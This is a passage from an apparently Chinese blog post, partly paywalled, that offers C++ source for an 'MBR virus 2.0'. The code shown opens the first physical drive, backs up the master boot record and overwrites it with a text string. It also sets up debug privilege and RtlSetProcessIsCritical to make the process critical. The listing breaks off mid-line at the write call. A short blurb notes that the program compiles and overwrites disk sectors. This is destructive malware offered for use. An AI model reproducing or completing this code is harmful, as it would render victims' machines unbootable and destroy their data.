#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <ctime>
#define size 512 // 一个扇区512字节
bool EnableDebugPrivilege();
typedef NTSTATUS(__cdecl *fnRtlSetProcessIsCritical)(IN BOOLEAN NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN BOOLEAN CheckFlag);
fnRtlSetProcessIsCritical pRtlSetProcessIsCritical;
using namespace std;
int main(void)
{
int a,r;
float key;
/* 文件流 */
FILE *DiskFile;
FILE *File;
/* MBR */
unsigned char *DiskCode;// 要写入的MBR
unsigned char MBRCODE[size]={0};// 备份MBR
/* 准备写入的MBR */
DiskCode=(unsigned char*)" 紫玫冰心 ";
/* 获取文件流 */
DiskFile=fopen("\\\\.\\PhysicalDrive0","rb+");
if(!DiskFile)
puts("Can't open file!");
else if(!feof(DiskFile))
{
/* 移动到MBR的位置 */
fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
fread(MBRCODE,1,size,DiskFile);// 备份MBR
/* 移动到MBR的位置 */
fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
// 写入新的MBR
fwrite(DiskCode,size,1,DiskFil
C++改MBR病毒2.0(经过编译)
最新推荐文章于 2025-03-21 21:24:40 发布
这是一个C++编写的程序,已通过编译测试,能够直接生成可执行文件。该程序具有覆盖磁盘扇区的功能,操作需谨慎。请注意,使用此类程序可能对数据安全造成影响。

最低0.47元/天 解锁文章
1596

被折叠的 条评论
为什么被折叠?



